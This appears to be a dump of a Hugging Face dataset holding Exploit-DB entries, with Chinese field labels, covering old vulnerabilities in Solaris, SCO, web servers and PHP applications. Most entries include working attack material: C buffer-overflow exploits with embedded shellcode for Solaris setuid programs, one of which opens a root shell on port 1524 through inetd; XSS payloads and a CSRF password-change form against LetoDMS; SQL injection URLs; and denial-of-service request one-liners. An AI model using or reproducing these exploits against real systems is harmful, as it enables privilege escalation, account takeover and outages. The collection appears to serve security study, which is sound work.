QLWD/code_shield huggingface dataset:
标题: Simpleserver WWW 1.0.x - AUX Directory Denial of Service EDB-ID: 20771 CVE: 2001-0386 类型: DOS 平台: WINDOWS 发布日期: 2001-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/2608/info

Simpleserver:WWW is a freely available web server from AnalogX. Simpleserver:WWW is designed to provide an easy to use web server with a friendly interface.

A problem with the web server could lead to a Denial of Service to legitimate users. By connecting to the web server, and requesting an HTTP GET of the /aux directory, the web server ceases operation. A watchdog process or manual restart of the web server process is required.

Therefore, it is possible for remote users to deny service to legitimate users of the web server. 

telnet vulnerable.web.server 80
GET /aux
then hit return twice URL: https://www.exploit-db.com/exploits/20771
标题: Solaris 2.5/2.6/7.0/8 - 'mailx -F' Local Buffer Overflow (1) EDB-ID: 20772 CVE: 2001-0565 类型: LOCAL 平台: SOLARIS 发布日期: 2001-04-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2610/info

Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.

A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address.

This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail. 

#include <fcntl.h>

/*

   /usr/bin/mailx overflow proof of conecpt.


   Pablo Sor, Buenos Aires, Argentina 04/2001
   psor@afip.gov.ar, psor@ccc.uba.ar

   works against x86 solaris 8

   default offset should work.

   usage:

   bash$ id
   uid=100(laika) gid=1(other)

   bash$ ./mailx-exp
   Subject: tomy
   .
   EOT

   [wait...]

   $ id
   uid=100(laika) gid=1(other) egid=6(mail)


*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[]=
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";

 unsigned long magic = get_esp() + 2075;  /* default offset */
 unsigned char buf[1150];
 char *envi;

 envi = (char *)malloc(300*sizeof(char));
 memset(envi,0x90,300);
 memcpy(envi+280-strlen(shell),shell,strlen(shell));
 memcpy(envi,"SOR=",4);
 envi[299]=0;
 putenv(envi);

 symlink("/bin/ksh","/tmp/xx");
 memset(buf,0x41,1150);
 memcpy(buf+1116,&magic,4);
 buf[1149]=0;
 execl("/usr/bin/mailx","mailx","-F",buf,NULL);
} URL: https://www.exploit-db.com/exploits/20772
标题: letodms 3.3.6 - Multiple Vulnerabilities EDB-ID: 20759 CVE: 2012-4385 2012-4384 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-23 漏洞利用脚本: # Exploit Title: LetoDMS 3.3.6 Multiple Reflected/Stored XSS & Password Change CSRF Vulnerability
# Date: 23/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.letodms.com/
# Software Link: http://sourceforge.net/projects/mydms/files/LetoDMS/LetoDMS-3.3.6/
# Version: 3.3.6
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

LetoDMS is an open-source document-management-system based on PHP and MySQL published under the GPL.


Vulnerability Description
=========================

1. Reflected XSS in Login Page.

http://server/letodms/out/out.Login.php?referuri='><script>alert("XSS")</script>


Here are some more locations that are vulnerable to reflected XSS:

http://server/letodms/out/out.ViewDocument.php?documentid=2&showtree=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
http://server/letodms/out/out.FolderNotify.php?folderid=1&showtree=1%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
http://server/letodms/out/out.FolderAccess.php?folderid=1&showtree=1"><script>alert(1)</script>
http://server/letodms/out/out.EditFolder.php?folderid=1&showtree=1"><script>alert(1)</script>

And lots more...



2. Stored XSS in Document Owner/User name (when viewing user document).

Steps to reproduce the issue:

2.1. Goto My Account.
2.2. Edit user details.
2.3. In the "Name" field insert: <img src='1.jpg'onerror=javascript:alert(0)>
2.4. Upload a document.
2.5. View document information.
2.6. XSS Should be triggered.

Payload in context of the page source:

<tr>
<td>Owner:</td>
<td>
<a class="infos" href="mailto:aaa@aaa.com"><img src='1.jpg'onerror=javascript:alert(0)></a></td>
</tr>


3. Stored XS in Calendar.


Steps to reproduce the issue:

3.1. Create a new event.
3.2. In the "Name" and "Comment" fields insert: <script>alert("XSS")</script>
3.3. XSS should be triggerd when viewing the event.


4. Change Password CSRF.

<html>
  <body>
    <form action="http://server/letodms/op/op.EditUserData.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="pwd" value="qwe123" />
      <input type="hidden" name="pwdconf" value="qwe123" />
      <input type="hidden" name="fullname" value="Administrator" />
      <input type="hidden" name="email" value="admin@domain.com" />
      <input type="hidden" name="comment" value="CSRF POC" />
      <input type="submit" value="Click Me" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/20759
标题: Solaris 2.5/2.6/7.0/8 - kcms_configure KCMS_PROFILES Buffer Overflow (1) EDB-ID: 20767 CVE: 2001-0595 类型: LOCAL 平台: SOLARIS 发布日期: 1999-12-01 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/2605/info

The Kodak Color Management System configuration tool 'kcms_configure' is vulnerable to a buffer overflow that could yield root privileges to an attacker.

The bug exists in the KCMS_PROFILES environment variable parser in a shared library 'kcsSUNWIOsolf.so' used by kcms_configure. If an overly long KCMS_PROFILES variable is set and kcms_configure is subsequently run, kcms_configure will overflow. Because the kcms_configure binary is setuid root, the overflow allows an attacker to execute arbitrary code as root.

Exploits are available against Solaris x86 and Solaris Sparc.
*/

/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/
/*## kcsSUNWIOsolf.so                                                        #*/

#define NOPNUM 940
#define ADRNUM 32
#define PCHNUM 204

char setuidcode[]=
    "\x90\x08\x3f\xff"     /* and     %g0,-1,%o0           */
    "\x82\x10\x20\x17"     /* mov     0x17,%g1             */
    "\x91\xd0\x20\x08"     /* ta      8                    */
;

char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh"
;

char jump[]=
    "\x81\xc3\xe0\x08"     /* jmp     %o7+8                */
    "\x90\x10\x00\x0e"     /* mov     %sp,%o0              */
;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){
    char buffer[4096],adr[4],*b,pch[4],*envp[4],display[128];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/\n");
    printf("kcsSUNWIOsolf.so solaris 2.6 2.7 2.8 sparc\n\n");

    if(argc!=2){
        printf("usage: %s xserver:display\n",argv[0]);
        exit(-1);
    }

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-256-112;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()-512-112;

    sprintf(display,"DISPLAY=%s",argv[1]);
    envp[0]=buffer;
    envp[1]=display;
    envp[2]=0;

    b=buffer;
    sprintf(b,"KCMS_PROFILES=");
    b+=14;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp);
} URL: https://www.exploit-db.com/exploits/20767
标题: Microsoft ISA Server 2000 Web Proxy - Denial of Service EDB-ID: 20763 CVE: 2001-0239 类型: DOS 平台: WINDOWS 发布日期: 2001-04-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2600/info

It is possible for a user to cause the Web Proxy service on a host running MS ISA Server to stop responding.

If a HTTP request with an unusually long path is submitted, the Web Proxy service could stop responding.

This vulnerability is only exploitable from the internal network unless the Web Publishing service has been enabled, in which case it can be exploited from either internal or external networks. It is disabled by default.

A HTML email containing the malicious URL in an image tag or a javascript URL, could invoke a user's browser. An attempt to fulfill this request by the Web Proxy service, could instigate the denial of service condition on an internal users system. This is a potential way a remote attacker could exploit this vulnerability even if Web Publishing is disabled.

* It has been reported that the execution of arbitrary commands is possible. If this is the case the complete remote compromise of the host may be achievable. The latest findings have not been confirmed by anyone other than the person who posted about it. 

/*
 * repeat.c -- quick-n-dirty hack to output argv[2] instances of the
 * character whose ASCII value is given as argv[1]
 *
 * WARNING - this has absolutely no error checking!
 */

#include <stdio.h>

main (int argc, char **argv) {
  int character;
  long repetitions, i;

  if ( argc != 3 ) {
    printf("usage: repeat char reps\n");
    exit(1);
  }
  character = atoi(argv[1]);
  repetitions = atol(argv[2]);

  for (i = 0L; i < repetitions; i++) {
    printf ("%c", character);
  }
} URL: https://www.exploit-db.com/exploits/20763
标题: GoAhead Web Server 2.1 (Windows) - Denial of Service EDB-ID: 20770 CVE: 2001-0385 类型: DOS 平台: WINDOWS 发布日期: 2001-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/2607/info

The GoAhead Web Server is a freely available, open source software package developed by GoAhead. The GoAhead Web Server offers a multi-platform web server and source code to the community.

A problem with the web server makes it possible to deny service to legitmate users of the software package. By accessing the web server, and issuing a request for the /aux directory, the web server ceases functioning. The process has to be manually restarted to resume normal operation.

Therefore, it is possible for a remote user to deny service to legitimate users of the web server. 

telnet web.server 80
GET /aux
then hit return twice URL: https://www.exploit-db.com/exploits/20770
标题: NCM Content Management System - content.pl Input Validation EDB-ID: 20752 CVE: 2001-0418 类型: REMOTE 平台: CGI 发布日期: 2001-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2584/info

The NCM Content Management System is a product distributed by NCM. The NCM Content Management System is designed to manage web material and other data, and provide an interface to databases from web resources.

A problem with the Content Management System could make it possible for a user to execute arbitrary SQL queries. Due to improper checking of input by the content.pl script, it may be possible to execute queries on tables within the database using the greater than and less than signs. This problem is in combination with the production version of the software package displaying information about the database upon receiving an invalid query, usual generated from a correct URL appended with an additional character.

Therefore, it is possible for a remote user to execute arbitrary SQL queries using the < and > signs, as well as gain more information by appending erroneous characters to the end of valid URLs. 

http://www.TARGET/content.pl?group=49&id=140a

http://www.TARGET/content.pl?group=49&id=140%20or%20id>0%20or%20ls_id<1000%20or%20kategorie<10000%20or%20kategorie>10%20or%20ls_id>1%20or%20id<10%20or%20kategorie<10%20or%20kategorie>4&shortdetail=1 URL: https://www.exploit-db.com/exploits/20752
标题: Solaris 7.0/8 - IPCS Timezone Buffer Overflow EDB-ID: 20751 CVE: 2001-0423 类型: LOCAL 平台: SOLARIS 发布日期: 2001-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2581/info

Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.

A problem in the handling of environment variables by the SGID sys program ipcs could lead to local users gaining elevated privileges. Improper bounds checking of the buffer holding the TIMEZONE environment variable by the program could lead to a buffer overflow, and the overwriting of stack variables including the return address.

Therefore, it is possible for a local user to execute arbitrary code with the EUID of sys, and potentially gain further elevated privileges. 

Solaris 7 Sparc:
$ TZ=`perl -e 'print "A"x1107'`
$ /usr/bin/ipcs

Solaris 8 Sparc:
$ TZ=`perl -e 'print "A"x1199'`
$ /usr/bin/ipcs

Solaris x86:
$ TZ=`perl -e 'print "A"x1035'`
$ /usr/bin/i86/ipcs URL: https://www.exploit-db.com/exploits/20751
标题: Trend Micro Interscan VirusWall (Linux) 3.0.1 - Multiple Program Buffer Overflows EDB-ID: 20750 CVE: 2001-0432 类型: DOS 平台: LINUX 发布日期: 2001-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2579/info

Interscan Viruswall is a Virus scanning software package distributed and maintained by Trend Micro. It is designed to scan for virus occurances in both incoming and outgoing traffic via SMTP, FTP, and HTTP at the gateway of the network.

A problem with the software package could lead elevated privileges on the scanning system. The management interface used with the Interscan Viruswall uses several programs in a cgi directory that contain buffer overflows. Additionally, the http daemon used to execute these programs runs as root, and does not sufficiently control access to the programs, allowing a user to execute them directly.

Therefore, it is possible for a remote user to exploit buffer overflows in the cgi programs packaged with Interscan Viruswall, and execute arbitrary commands are root on the system hosting Viruswall. 

http://server:1812/catinfo?4500xA URL: https://www.exploit-db.com/exploits/20750
标题: SCO Open Server 5.0.6 - lpusers Buffer Overflow EDB-ID: 20739 CVE: 2001-0576 类型: DOS 平台: SCO 发布日期: 2001-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2557/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpusers, a component used to set the queue priority of jobs submitted to the LP print service by users.
'lpusers' contains a locally exploitable buffer overflow vulnerability that occurs when commandline arguments are of excessive length.

If properly exploited, this can yield root privilege to the attacker.

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpusers -u `perl -e 'print "A" x 700'`

Memory fault - core dumped URL: https://www.exploit-db.com/exploits/20739
标题: Oracle Application Server 4.0.8.2 - ndwfn4.so Buffer Overflow EDB-ID: 20747 CVE: 2001-0419 类型: DOS 平台: LINUX 发布日期: 2001-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2569/info

The shared library 'ndwfn4.so' that ships with Oracle Application Server is vulnerable to a buffer overflow. The library is used to handle web requests passed to it by the iPlanet web server. If the library is sent a request longer than approximately 2050 characters, it will overflow.

A request string could be constructed to trigger the overflow and allow a malicious remote user to execute unprivileged arbitrary code. No exploit is publically available.

Assuming the OAS prefix is /jsp/ and the vulnerable host is 'victim', the following command issued by the attacker will cause the iWS to coredump:

perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80 URL: https://www.exploit-db.com/exploits/20747
标题: SCO Open Server 5.0.6 - recon Buffer Overflow EDB-ID: 20742 CVE: 2001-0577 类型: DOS 平台: SCO 发布日期: 2001-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2560/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with a suid 'bin' executable called 'recon'.

'recon' is used to buffer and forward escape sequences from a user's input to timing-sensitive applications.

'recon' contains a locally exploitable buffer overflow condition present in the handling of command-line parameters.

If properly exploited, this can yield user 'bin' privileges to the attacker. 

/opt/K/SCO/Unix/5.0.6Ga/usr/bin/recon `perl -e 'print "A" x 3000'`

Memory fault - core dumped URL: https://www.exploit-db.com/exploits/20742
标题: IBM Websphere/Net.Commerce 3 - CGI-BIN Macro Denial of Service EDB-ID: 20753 CVE: 2001-0390 类型: DOS 平台: CGI 发布日期: 2001-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2588/info

Net.Commerce is part of the Websphere platform of products distributed by IBM. Net.Commerce provides several versatile features to facilitate e-commerce, and features in performance and reliability.

A problem in the Net.Commerce package could allow a remote user to deny service to legitimate users of the service hosted by the Websphere server. This is due to the handling of long strings by the macro.d2w cgi included with a Net.Commerce installation. By supplying a long string of "%0a" characters to the CGI, the Websphere server ceases operation.

A remote user may use this vulnerability to crash the Websphere server, thus denying service to legitimate users. 

http://host/cgi-bin/ncommerce3/ExecMacro/macro.d2w/%0a%0a..(aprox 1000)..%0a URL: https://www.exploit-db.com/exploits/20753
标题: Solaris 7/8 - 'kcms_configure' Command-Line Buffer Overflow (1) EDB-ID: 20740 CVE: 2001-0594 类型: LOCAL 平台: SOLARIS 发布日期: 2001-04-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2558/info

The Kodak Color Management System, or KCMS, is a package that ships with workstation installations of Solaris 7 and 8. kcms_configure, a part of KCMS, is vulnerable to a buffer overflow if it is passed an overly long string on the command-line by a local user. kcms_configure is installed setuid root, so a buffer overflow can lead to arbitrary code execution as root.

An exploit for x86 Solaris is available to attackers. 

/*
 Command line argument overflow
 /usr/openwin/bin/kcms_configure

 Proof of Concept Exploitation
 Riley Hassell
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN  1100

/* seteuid/exec shellcode  */
char shell[] =
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff"
"\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff"
"\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e"
"\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0"
"\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03"
"\x03\x9a\x04\x04\x04\x04\x07\x04";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp() { __asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
        int i;
        if (argc > 1)
        offset = strtol(argv[1], NULL, 0);
        else
             offset = -300;
            nop = 600;
        esp = get_esp();
        memset(buf, 0x90, BUFLEN);
        memcpy(buf+600, shell, strlen(shell));
        for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;
         buf[BUFLEN-1] = '\0';
        execl("/usr/openwin/bin/kcms_configure", "eEye",
"-o","-S","X",buf,NULL);
        return;
} URL: https://www.exploit-db.com/exploits/20740
标题: Solaris 2.x/7.0/8 - Xsun HOME Buffer Overflow EDB-ID: 20743 CVE: 2001-0422 类型: LOCAL 平台: SOLARIS 发布日期: 2001-04-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2561/info

The X11 server that ships with Sun Microsystems' Solaris, Xsun, contains a locally exploitable buffer overflow vulnerability.

The condition is present when the value of the HOME environment variable is of excessive length (more than 1050 bytes long).

An attacker may exploit this vulnerability to execute arbitrary code with effective group 'root' privileges. 

/***********************************/
Solaris 7 (x86) /usr/openwin/bin/Xsun
HOME environment overflow

Proof of Concept Exploitation
riley@eeye.com

Puts a Root shell on local port 1524
/***********************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN  1041

/* seteuid/setuid/inetd shell */
char eyecode[] =
"\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
"\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
"\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
"\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
"\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
"\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
"\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
"\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
"\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
"\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
"/usr/sbin/inetd -s /tmp/eeye2001";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp()
{__asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
 int i;
 if (argc > 1)
  offset = strtol(argv[1], NULL, 0);
 else
  offset = -200;
 esp = get_esp();
 memset(buf, 0x90, BUFLEN);
 memcpy(buf+800, eyecode, strlen(eyecode));
 *((int *) &buf[1037]) = esp+offset;
 strncpy(&buf[0],"HOME=",5);
 putenv(buf);
 execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
 return;
} URL: https://www.exploit-db.com/exploits/20743